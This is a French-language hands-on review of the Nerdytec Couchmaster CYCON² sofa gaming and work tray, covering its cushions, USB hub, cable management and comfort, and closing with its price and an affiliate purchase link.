<figure class="wp-block-image size-large"><a href="media/d0f9840e.Nerdytec-Couchmaster-Cycon-2-Vue-densemble.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble.jpg"><img fetchpriority="high" decoding="async" width="800" height="576" src="media/7846a18d.Nerdytec-Couchmaster-Cycon-2-Vue-densemble-800x576.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble-800x576.jpg" alt="Nerdytec Couchmaster Cycon 2 - Vue d'ensemble" class="wp-image-78198" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble-800x576.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble-550x396.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble-150x108.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble-768x553.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble-50x36.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Vue-densemble.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Le <strong>Couchmaster CYCON²</strong> est ce que l'on pourrait appeler un plateau pour le gaming ou <strong>un support ergonomique pour jouer ou travailler depuis son canapé</strong>, et la marque allemande Nerdytec en a fait sa spécialité. Tous les produits sont imaginés en Allemagne, dans les locaux de Nerdytec, et le modèle que nous vous présentons aujourd'hui, c'est l'un des best-sellers de la marque !</p>



<p>Voici quelques caractéristiques à son sujet :</p>



<ul>
<li><strong>6 ports USB 3.0</strong> (2 externes &amp; 4 internes), y compris un port de chargement rapide externe</li>



<li><strong>Gestion optimisée des câbles</strong></li>



<li><strong>Grille de ventilation</strong> : non</li>



<li><strong>Poches latérales pratiques </strong>pour différents accessoires (et votre snack)</li>



<li><strong>Distance intérieure maximale des coussins :</strong>&nbsp;75 cm</li>



<li><strong>Dimensions des coussins (L x l x H) :</strong>&nbsp;60 x 20 x 16 cm</li>



<li><strong>Dimensions du support (L x l x H) :&nbsp;</strong>82 x 33 x 3 cm</li>
</ul>



<p>En complément, vous pouvez consulter cette page :</p>



<ul>
<li><a href="https://www.nerdytec.com/fr/product/couchmaster-cycon2-black-edition/" target="_blank" rel="noopener nofollow" title="">Fiche produit sur le site officiel de Nerdytec</a></li>
</ul>



<h2 class="wp-block-heading">II. Package et design</h2>



<p>Lorsque j'ai reçu le colis, il n'était pas en parfait état et il semblait avoir souffert pendant le transport, mais heureusement, ce fut sans conséquence pour le <a class="wpil_keyword_link" href="https://www.it-connect.fr/actualites/actu-materiel/" target="_blank" rel="noopener" title="matériel" data-wpil-keyword-link="linked">matériel</a>. À l'intérieur du carton, les coussins sont dans un plastique tandis qu'une seconde boite cartonnée contient le plateau et l'ensemble des accessoires.</p>



<p>À l'intérieur du carton, nous avons un guide avec les<strong> instructions d'installation</strong>, deux <strong>coussins latéraux</strong>, un <strong>plateau Nerdytec</strong> avec un <strong>hub USB 3.0</strong> intégré, un <strong>tapis de souris gaming</strong>, un petit <strong>sac pour ranger votre souris</strong>, de la <strong>bande auto-grippante</strong>, un <strong>bloc d'alimentation</strong> et son câble, ainsi qu'un <strong>câble de connexion hub de 0,8 mètre</strong> et un <strong>câble d'extension USB 3.0 de 5 mètres</strong>. Autant vous dire qu'il y a tout ce qu'il faut pour s'installer confortablement !</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" data-id="78192" src="media/eef44b03.Test-Couchmaster-CYCON-2-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-1.jpg" alt="" class="wp-image-78192" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-1-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" data-id="78191" src="media/bb0597a1.Test-Couchmaster-CYCON-2-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-2.jpg" alt="" class="wp-image-78191" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<figure class="wp-block-image size-full"><a href="media/2043e6cb.Test-Couchmaster-CYCON-2-Package-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3.jpg"><img decoding="async" width="800" height="602" data-id="78190" src="media/2043e6cb.Test-Couchmaster-CYCON-2-Package-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3.jpg" alt="" class="wp-image-78190" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Package-3-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p><strong>Chaque coussin jouera le rôle d'un accoudoir</strong>, un peu comme ceux que l'on retrouve sur les canapés : <strong>à la fois ferme et confortable</strong>, car l'idée est bien de pouvoir poser son coude et une partie de l'avant-bras de chaque côté.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="340" src="media/493a2bfd.Test-Couchmaster-CYCON-2-Coussin-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-1.jpg" alt="" class="wp-image-78193" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-1-550x234.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-1-150x64.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-1-768x326.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-1-50x21.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Chaque coussin est déhoussable</strong>, ce qui signifie que vous pouvez laver les housses en machine à 30 degrés. C'est un point positif.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" src="media/6e6684bd.Test-Couchmaster-CYCON-2-Coussin-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-2.jpg" alt="" class="wp-image-78194" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Coussin-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Le plateau du Couchmaster inspire confiance et la qualité de fabrication est très bonne.</strong> Le design est tout de même travaillé, et chaque zone où vous allez poser votre poignée, le plastique laisse sa place à une texture plus agréable. Le tapis de souris gaming fournit avec le Couchmaster pourra être collé sur le plateau, soit à droite, soit à gauche, grâce au scotch double-face intégré au package. Sachez que ce plateau n'a pas d'éclairage ou d'éléments lumineux, ce qui sera peut-être perçu comme un point négatif pour certains.</p>



<figure class="wp-block-image size-large"><a href="media/f3315bde.Couchmaster-Cycon-2-Photo-Vue-densemble.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble.jpg"><img decoding="async" width="800" height="387" src="media/014935a0.Couchmaster-Cycon-2-Photo-Vue-densemble-800x387.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble-800x387.jpg" alt="" class="wp-image-78801" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble-800x387.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble-550x266.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble-150x73.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble-768x372.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble-50x24.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-densemble.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" src="media/de6f99d4.Couchmaster-Cycon-2-Photo-Repose-poignee.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Repose-poignee.jpg" alt="" class="wp-image-78802" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Repose-poignee.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Repose-poignee-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Repose-poignee-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Repose-poignee-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Repose-poignee-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Au centre, sur la partie supérieur du plateau, nous avons accès à <strong>deux ports USB-A </strong>pour connecter ce que l'on souhaite. Bien entendu, ces ports USB sont reliés à votre PC par l'intermédiaire du Hub USB intégré au Couchmaster.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/50e5a440.Test-Couchmaster-CYCON-2-Support-principal-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1.jpg"><img decoding="async" width="800" height="602" data-id="78196" src="media/50e5a440.Test-Couchmaster-CYCON-2-Support-principal-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1.jpg" alt="" class="wp-image-78196" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-1-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/66209490.Test-Couchmaster-CYCON-2-Support-principal-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3.jpg"><img decoding="async" width="800" height="602" data-id="78195" src="media/66209490.Test-Couchmaster-CYCON-2-Support-principal-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3.jpg" alt="" class="wp-image-78195" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-3-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/b6212b34.Test-Couchmaster-CYCON-2-Support-principal-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2.jpg"><img decoding="async" width="800" height="602" data-id="78197" src="media/b6212b34.Test-Couchmaster-CYCON-2-Support-principal-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2.jpg" alt="" class="wp-image-78197" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Couchmaster-CYCON-2-Support-principal-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p>Pour bien comprendre comment cela fonctionne, il convient de retourner le Couchmaster. Il y a deux compartiments accessibles de façon indépendante où l'on va retrouver différents ports USB, ainsi que le connecteur pour l'alimentation. En fait, pour<strong> faciliter la gestion des câbles et d'avoir plusieurs câbles qui trainent au sol dans votre salon</strong>, sachez que Nerdytec propose <strong>un système basé sur un seul câble spécialement conçu pour le&nbsp;Couchmaster CYCON²&nbsp;dans le but d'établir la connexion entre le PC et&nbsp;le Couchmaster en lui-même,</strong> tout en fournissant une alimentation électrique supplémentaire. Par ailleurs, ce câble est en deux parties donc vous pouvez facilement le déconnecter du Couchmaster sans avoir à ouvrir un compartiment.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="357" src="media/8208ab7d.Couchmaster-Cycon-2-Photo-Vue-du-dessous-800x357.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous-800x357.jpg" alt="" class="wp-image-78808" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous-800x357.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous-550x246.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous-768x343.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous-50x22.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Vue-du-dessous.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/e676687e.Couchmaster-Cycon-2-Photo-dessous-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2.jpg"><img decoding="async" width="800" height="602" data-id="78807" src="media/e676687e.Couchmaster-Cycon-2-Photo-dessous-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2.jpg" alt="" class="wp-image-78807" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" data-id="78805" src="media/daa3b772.Couchmaster-Cycon-2-Photo-dessous-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-1.jpg" alt="" class="wp-image-78805" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-1-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<figure class="wp-block-image size-full"><a href="media/de432ca6.Couchmaster-Cycon-2-Photo-dessous-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3.jpg"><img decoding="async" width="800" height="602" data-id="78806" src="media/de432ca6.Couchmaster-Cycon-2-Photo-dessous-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3.jpg" alt="" class="wp-image-78806" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-dessous-3-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p>Pour vous faire une idée plus précise des dimensions des coussins et du plateau, ainsi que l'espace maximal entre les deux coussins, voici un schéma proposé par la marque :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="521" src="media/a68a0166.Dimensions-Couchmaster-CYCON-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Dimensions-Couchmaster-CYCON-2.jpg" alt="Dimensions Couchmaster CYCON 2" class="wp-image-78201" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Dimensions-Couchmaster-CYCON-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Dimensions-Couchmaster-CYCON-2-550x358.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Dimensions-Couchmaster-CYCON-2-150x98.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Dimensions-Couchmaster-CYCON-2-768x500.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Dimensions-Couchmaster-CYCON-2-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">III. Utilisation au quotidien</h2>



<p>Me voici en place avec mon ordinateur, installé confortablement sur le canapé, grâce aux coussins et au plateau du Couchmaster. <strong>Les coussins sont très confortables et agréables, et grâce à eux, cela devient facile de travailler (ou jouer) depuis son canapé, car nous sommes bien installés.</strong> Les coudes sont maintenus par les coussins, ce qui permet de se mettre à l'aise que ce soit pour utiliser un ordinateur portable ou un kit clavier et souris. Nous pouvons rester dans cette position plusieurs heures, sans ressentir de gêne.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/99d840cc.Couchmaster-Cycon-2-Photo-Exemple-posture-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2.jpg"><img decoding="async" width="1000" height="700" data-id="79456" src="media/99d840cc.Couchmaster-Cycon-2-Photo-Exemple-posture-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2.jpg" alt="" class="wp-image-79456" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2-550x385.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2-800x560.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2-150x105.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2-768x538.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-2-130x90.jpg 130w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/6aa397f7.Couchmaster-Cycon-2-Photo-Exemple-posture-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1.jpg"><img decoding="async" width="1000" height="700" data-id="79455" src="media/6aa397f7.Couchmaster-Cycon-2-Photo-Exemple-posture-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1.jpg" alt="" class="wp-image-79455" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1-550x385.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1-800x560.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1-150x105.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1-768x538.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-Exemple-posture-1-130x90.jpg 130w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>Sans utiliser d'ordinateur fixe, j'ai tout de même fait quelques tests avec le système de gestion de câbles. Il me semble adapté à de nombreuses configurations et types de câbles, avec tout de même un point d'attention : je n'ai pas pu tester directement, mais compte tenu de la taille des trous pour faire passer les câbles, je pense qu'ils ne sont pas assez grands si vous avez un accessoire avec <a href="https://fr.wikipedia.org/wiki/Noyau_de_ferrite" target="_blank" rel="noopener nofollow" title="">un câble ayant un noyau de ferrite</a>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="359" src="media/b6303ab7.Nerdytec-Couchmaster-Cycon-2-Illustration.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Illustration.jpg" alt="Nerdytec Couchmaster Cycon 2 - Illustration" class="wp-image-78199" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Illustration.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Illustration-550x247.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Illustration-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Illustration-768x345.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Nerdytec-Couchmaster-Cycon-2-Illustration-50x22.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>En ce qui concerne l'ergonomie, en complément de mon ressenti et de mon avis, voici l'analyse fournie sur le site officiel de Nerdytec : "<em>D'un point de vue ergonomique, le&nbsp;Couchmaster® CYCON²&nbsp;est particulièrement recommandé. Le physiothérapeute Roland Kellerbach de Cologne-Dellbrück s'exprime en ces termes :&nbsp;"Du point de vue de la santé, je peux dire que le Couchmaster offre la meilleure possibilité ergonomique d'utiliser le PC/l'ordinateur portable depuis le canapé. Grâce aux larges coussins, la musculature des épaules et de la nuque est soulagée pendant l'utilisation, ce qui prévient efficacement les tensions".</em>"</p>



<p><strong>Le seul bémol, mais ça, Nerdytec ne peut pas y faire grand-chose, c'est l'encombrement pour stocker les coussins et le plateau</strong>, ainsi que le temps de mise en place avec l'installation des deux coussins, du plateau, puis de l'ordinateur portable ou du clavier et de la souris. Mais, une fois que l'on est installé, on se dit que ça en vaut vraiment la peine ! En revanche, pour les câbles, l'installation est à effectuer une seule fois, donc nous ne perdons pas de temps avec ça à chaque fois.</p>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>Si vous aimez jouer ou travailler depuis votre canapé, mais que vous ne parvenez pas à vous installer confortablement, ne cherchez plus : investissez dans un Couchmaster Cycon 2 (ou un autre modèle, selon votre configuration). Peut-être que pour certains d'entre vous, ce sera l'occasion de franchir le pas... C'est un produit vraiment cool et confortable à utiliser.</p>



<p>Le tarif de la version Couchmaster Cycon 2 montrée dans cet article : <strong>179.99 €</strong>. Vous pouvez retrouver ce produit sur Amazon.fr via notre lien d'affilié :</p>



<ul>
<li><a href="https://amzn.to/4d87YkD" target="_blank" rel="noopener" title=""><strong><mark class="has-inline-color has-luminous-vivid-orange-color">Acheter le Couchmaster Cycon 2 sur Amazon.fr</mark></strong></a></li>
</ul>



